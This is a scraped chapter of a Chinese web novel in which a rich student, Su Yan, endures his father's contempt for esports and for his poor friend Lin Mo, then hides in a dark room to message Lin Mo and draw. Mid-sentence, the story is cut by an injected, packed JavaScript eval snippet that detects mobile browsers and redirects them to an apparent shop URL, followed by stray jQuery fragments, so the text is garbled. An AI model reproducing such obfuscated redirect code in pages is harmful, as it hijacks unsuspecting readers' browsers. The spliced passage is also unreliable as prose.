默认冷灰
24号文字
方正启体

13. 暗室

作者:初辞鸢本书字数:K更新时间:
    苏衍的家宴,设在别墅三楼那间朝南的小餐厅。餐桌是长条形的胡桃木,铺着浆洗得挺括的白色桌布。头顶的水晶吊灯洒下明亮却冰冷的光,将银质餐具映得晃眼。空气里有昂贵的熏香味道,和食物精致却缺乏烟火气的香气。


    苏衍坐在父亲对面,母亲坐在主位,旁边还坐着一位苏衍没见过几次的、头发花白的男人,是父亲从集团带来的特助,姓王。气氛安静得能听见银叉碰触骨瓷盘的细微脆响。


    “上周的比赛,我看了。”苏父切着盘子里五分熟的牛排,动作优雅,声音没什么起伏,像是在点评一份不甚满意的财报,“打得还行。有点运气成分,但指挥和那个核心队员的个人能力,确实超出预期。”


    苏衍握着刀叉的手几不可察地紧了紧,指节微微泛白。他垂着眼,用同样平静的语气回应:“是团队配合的结果。”


    “团队?”苏父抬眼,目光锐利地扫过他,“一群高中生,打打游戏,谈不上什么团队。我看了那个‘影刃’的资料,林默是吧?家里那个情况,还能把游戏打到这个水平,是有点天赋。但把天赋浪费在这种地方……”他摇了摇头,没有说下去,但那未尽之意里的轻蔑,比任何言语都更锋利。


    苏衍感觉胃部一阵发紧,牛排鲜嫩的汁水在舌尖泛起铁锈般的腥味。他想为林默辩驳,想说他不是“浪费天赋”,他只是……被生活逼到了那个角落。但他知道,在父亲的价值体系里,家境贫困本身,似乎就是一种原罪,而将时间投入“电竞”这种“不务正业”的事情,更是罪加一等。


    “老苏,孩子难得赢了比赛,你就少说两句。”苏母柔声打圆场,给苏衍的盘子里添了勺蔬菜沙拉,“衍衍,多吃点蔬菜。最近训练辛苦,都瘦了。”


    苏衍对母亲勉强笑了笑,没说话。


    “赢一场比赛,说明不了什么。”苏父放下刀叉,拿起餐巾擦了擦嘴角,动作一丝不苟,“我让你王叔查了,这个市级联赛,含金量有限。就算打到省赛,甚至全国赛,对你们这个年纪来说,也顶多算个不错的‘经历’,写在申请履历里,能加点分。但也就仅此而已了。”


    他身体微微前倾,目光如实质般压在苏衍身上:“你的重点,应该放在哪里,不需要我再提醒你吧?下个月的SAT冲刺,MIT的夏校申请,还有集团明年暑期的实习计划……这些,才是你该全力以赴的‘正事’。”


    每一个词,都像一块冰冷的石头,垒在苏衍心上。SAT,夏校,实习,常春藤,接手家业……一条被规划得清晰无比、容不得半点偏离的“康庄大道”。而电竞,连同他藏在数位板下的那些画稿,都只是这条大道旁边,偶尔可以瞥一眼的、无关紧要的风景,甚至是不该出现的杂草。


    “我知道。”苏衍听见自己用平静到近乎麻木的声音回答。


    “知道就好。”苏父似乎满意于他的“顺从”,语气缓和了一些,“下周的数学竞赛,准备得怎么样了?我听陈老师说,你那个同桌,林默,也报名了?”


    苏衍心头一跳,抬起头:“是。”


    “他家里的情况,能支持他走竞赛这条路?”苏父的语气里带着毫不掩饰的怀疑,“别是为了凑数,或者……想靠这个拿点奖金?”


    这话里的恶意揣测,让苏衍的血液瞬间冲上头顶,又迅速冷却下来,变成四肢百骸冰凉的麻木。他紧紧攥着餐刀,金属冰冷的棱角硌得掌心生疼。


    “他的数学天赋,是陈老师认可的。”苏衍竭力控制着自己的声音,“中考他是全市第一。”


    “中考是过去式了。”苏父不以为意,“环境对人的影响是决定性的。他现在那个状态,能静下心学数学?我看他打游戏的时候,倒是挺‘静心’的。”他嗤笑一声,那笑声很轻,却像鞭子一样抽在苏衍心上。


    “老苏!”苏母的声音里带上了罕见的严厉,“你怎么能这么说孩子的同学?”


    苏父看了妻子一眼,似乎也意识到当着外人的面(王特助)说得有些过了,摆了摆手:“行了,吃饭。衍衍,我不是要干涉你交朋友。但你要清楚,什么样的人,值得你花时间交往。近朱者赤,近墨者黑。你未来的圈层,不应该停留在这种……水平。”


    不该停留的“水平”。林默和他的家庭,在父亲眼中,就是那个不该停留的、低下的“水平”。


    苏衍低下头,看着盘子里精致的食物,只觉得胃里翻江倒海,一口也咽不下去。水晶灯的光刺得他眼睛发疼,熏香的味道让他窒息。他感觉自己像被塞进了一个真空的玻璃罩里,能看见外面,能听见声音,却无法呼吸,也无法发出任何属于自己的声响。


    这就是他“聊聊”之后要面对的现实。一场胜利,改变不了父亲根深蒂固的偏见和规划。甚至,因为他将“不务正业”做出了一点成绩,反而引来了更明确的敲打和“规劝”。


    “下周的竞赛,好好考。”苏父最后说,语气恢复了惯常的、不容置疑的命令式,“拿个有分量的名次回来。至于电竞社……”他顿了顿,“既然学校支持,你也花了时间,那就做到最好。但记住,分清主次。我不希望看到,因为这些无关紧要的事,影响了你的SAT和申请。”


    无关紧要。


    苏衍在心里默默重复着这四个字。原来他们这一个月的挣扎、汗水、绝地反击,在父亲眼里,都只是“无关紧要”的事。是可以用来装点履历的“经历”,是需要注意“分清主次”的消遣。


    “我吃饱了。”苏衍放下刀叉,餐巾叠好放在手边,站起身。动作依旧得体,礼仪无可挑剔。“爸,妈,王叔叔,你们慢用。我上楼看书了。”


    “嗯,去吧。”苏父点点头,不再看他。


    苏衍转身,离开餐厅。他的背脊挺得笔直,脚步平稳,像一台设定好程序的机器。只有他自己知道,每一步踏在光可鉴人的大理石地砖上,都像是踩在冰面上,冰冷,坚硬,没有一丝回响。


    他没有回自己那间宽敞却冰冷、摆满了竞赛资料和编程书籍的“书房”,而是径直走向走廊尽头,那间被用作储藏室的、没有窗户的暗室。


    推开门,一股灰尘和旧物混合的气味扑面而来。他没有开灯,反手关上门,将自己彻底投入黑暗。


    绝对的,沉甸甸的黑暗。没有光,没有声音,只有自己压抑的、有些粗重的呼吸,和心脏在胸腔里沉闷的跳动。


    他背靠着冰冷的墙壁,缓缓滑坐下去。地上是冰凉的木地板,积了一层薄灰。


    黑暗中,那些被强行压下的情绪,终于找到了出口,汹涌地翻腾上来。愤怒,屈辱,无力,还有一丝深不见底的、冰冷的厌倦。


    父亲的话,像一根根细针,扎在他试图构筑起来的、脆弱的壁垒上。他以为赢了比赛,证明了自己,就能换来一点空间,一点喘息。但现实是,那道壁垒在父亲的价值体系面前,不堪一击。他依然被审视,被规划,被要求走在“正确”的轨道上,连带着他选择的朋友、投入热情的事情,都被打上了“不值得”、“低水平”的标签。


    近朱者赤,近墨者黑。


    林默是“墨”吗?


    那个在数学白卷下藏着惊人天赋的少年,那个在绝境中打出惊世操作的刺客,那个在昏暗路灯下对他说“不是只有你一个人在走”的同桌……是“墨”吗?


    苏衍闭上眼睛,黑暗在眼前变幻出光怪陆离的图案。他想起林默递给他耳机时指尖的冰凉,想起他在旧美术教室里低头颤抖的肩膀,想起他复盘时专注的侧脸,想起他在烧烤摊被炭火映红的、难得放松的眉眼。


    那不是“墨”。那是另一个在泥泞中挣扎、却依旧试图抓住一点光的人。和他一样。


    不,甚至比他更艰难。至少,他还有这间冰冷的别墅,有唾手可得的资源,有一条被铺好的、即使令人窒息的路。而林默,只有那台轰鸣的旧电脑,有超市收银台后母亲疲惫的眼睛,有躺在疗养院里需要昂贵药物的父亲。


    就是这样一个人,在游戏里,用操作打碎了所有的偏见和蔑视。在现实里,沉默地扛起了比他沉重得多的生活。


    父亲有什么资格,用那样轻蔑的语气,去评判他?


    一股强烈的、几乎要冲破胸膛的怒意和反叛,在黑暗的催化下,熊熊燃烧起来。但很快,又被更深的无力感浇灭。愤怒改变不了什么。他无法改变父亲的观念,无法脱离这个家,甚至无法在明面上,为林默辩驳一句。因为那只会引来更严厉的压制,和更明确的“划清界限”。


    他只能像现在这样,躲在无人看见的暗室里,独自消化这冰冷的屈辱和无力。


    不知过了多久,眼睛渐渐适应了黑暗。他能隐约看见堆放在墙角的、蒙尘的画框轮廓,那是他小时候学画时的一些习作,后来被父亲认为“没用”而塞到了这里。还有一些旧书,旧玩具,被时光遗忘的、属于“苏衍”这个身份之外的零星碎片。


    他摸索着,从口袋里掏出手机。屏幕的亮光在绝对的黑暗中显得刺眼。他点开相册,里面存着一张照片,是昨晚比赛结束后,在烧烤摊,周小雨用手机拍的。画面有些模糊,炭火的烟雾氤氲了镜头。照片中央,林默被猴子搂着脖子,表情有些僵硬,耳根通红,手里还拿着半串烤焦的韭菜。旁边,大鹏咧着嘴笑,眼镜在推眼镜,周小雨对着镜头比耶。而他,苏衍,坐在林默的另一侧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437249|200976||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,手里拿着啤酒瓶,侧脸在烟火气中,嘴角带着一丝真实的、放松的弧度。


    那是他很少有的、不带任何面具的表情。


    他盯着那张照片,看了很久。指尖轻轻拂过屏幕上林默模糊的侧脸,和那截通红的耳根。


    然后,他点开和林默的聊天框。光标在输入栏闪烁,他打了几个字,又删掉。再打,再删。


    最终,他只发过去两个字:“在吗?”


    消息发送,绿色的气泡浮起。他盯着屏幕,等待。时间在黑暗中被拉长,每一秒都像在寂静中擂鼓。


    过了大概一分钟,屏幕亮起。林默的回复跳了出来,只有一个字:


    “嗯。”


    言简意赅,是他的风格。


    苏衍看着那个“嗯”字,胸腔里那股冰冷的、无处着落的情绪,奇异地,被熨帖了一点点。至少,在这片令人窒息的黑暗里,还有一个人,会用最简洁的方式,回应他的呼唤。


    他打字:“资料整理好了。明天带给你。有点多,重点部分我标红了。”


    发送。


    这次回复得快了一些:“好。谢谢。”


    “数学竞赛的历年真题,我这里有电子版,更全。你需要的话,发你邮箱。”


    “不用邮箱。U盘吧,我电脑没联网。”


    是那台轰鸣的老旧主机。苏衍想起他抱着旧机箱走在老街上的背影。


    “好。明天一起给你。”苏衍顿了顿,手指在屏幕上悬停了几秒,又打下一行字,“实验中学的资料,我也整理了一些。他们中单喜欢游走,打法很油。你可能对线会有点难受。”


    “知道了。明天训练试试。”


    对话很平常,围绕着比赛和功课,没有任何多余的情绪。但就在这一来一往、简单到近乎枯燥的交流中,苏衍感觉那颗被冰封住、沉在黑暗谷底的心,似乎被一根看不见的线,轻轻地、稳稳地,向上提拉了一点点。


    线的那头,是另一个同样身处黑暗、却沉默地燃烧着微光的人。


    他靠着冰冷的墙壁,在绝对的黑暗和手机屏幕微弱的光亮中,慢慢地、长长地舒了一口气。那口气,带着餐厅里冰冷的熏香味,带着父亲话语里尖锐的刺,也带着一种从骨髓里渗出来的疲惫。


    但至少,还能呼吸。


    他退出聊天框,点开手机里一个隐藏的绘画软件。新建画布。没有开灯,就着手机屏幕的光,指尖在冰冷的玻璃屏上滑动。


    没有构思,没有草图。黑色的背景上,凌乱而暴烈的线条肆意蔓延,像困兽的抓痕,像无声的嘶吼。浓烈的、不协调的色彩被胡乱地泼洒上去,红得像血,蓝得像淤青,黄得像溃烂的脓。


    画的是什么,他不知道。只是一种宣泄。对那盏水晶灯的宣泄,对那顿精致晚餐的宣泄,对父亲那些话语的宣泄,对这条被规划得密不透风的人生的宣泄。


    指尖因为用力而微微颤抖,屏幕被划出轻微的吱呀声。在这间被遗忘的暗室里,在无人知晓的黑暗里,那个完美的、得体的、永远知道“该做什么”的苏衍消失了。只剩下一个被愤怒、屈辱和无力感撕扯着的、真实的、狼狈的灵魂,在小小的屏幕上,涂抹着无人能懂的癫狂与绝望。


    不知画了多久,直到指尖冰凉,屏幕因为长时间亮着而微微发烫。他停下动作,看着屏幕上那团混乱不堪、色彩狰狞的涂鸦。


    丑陋,真实。


    他点了保存,将画作放进一个名为“废稿”的加密文件夹。然后,关掉手机。


    黑暗重新涌上来,更加纯粹,更加沉重。


    他坐在黑暗里,很久没有动。直到四肢因为寒冷和久坐而变得僵硬麻木。


    然后,他扶着墙壁,慢慢站起身。拍了拍裤子上并不存在的灰尘,整理了一下并无线头的衣角。打开门。


    走廊里温暖明亮的光线涌进来,刺得他眯了眯眼。他适应了一下,然后迈步走出去,轻轻带上门。


    暗室重归黑暗与寂静,仿佛从未有人来过。


    他走回自己灯火通明的房间,在书桌前坐下。摊开SAT的真题集,拿出钢笔,拧开笔帽。灯光下,他的侧脸平静无波,眼神专注,背脊挺直,又是那个无可挑剔的优等生苏衍。


    仿佛刚才那片刻的失控和黑暗,从未发生。


    只有他自己知道,心底某个角落,那团被压抑的火焰,并没有熄灭。只是烧得更深,更沉默,等待着某个或许永远也不会到来的、破土而出的契机。


    笔尖落在纸上,发出沙沙的、规律的声音。


    夜还很长。


    路,也还很远。


    (第十三章完)
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)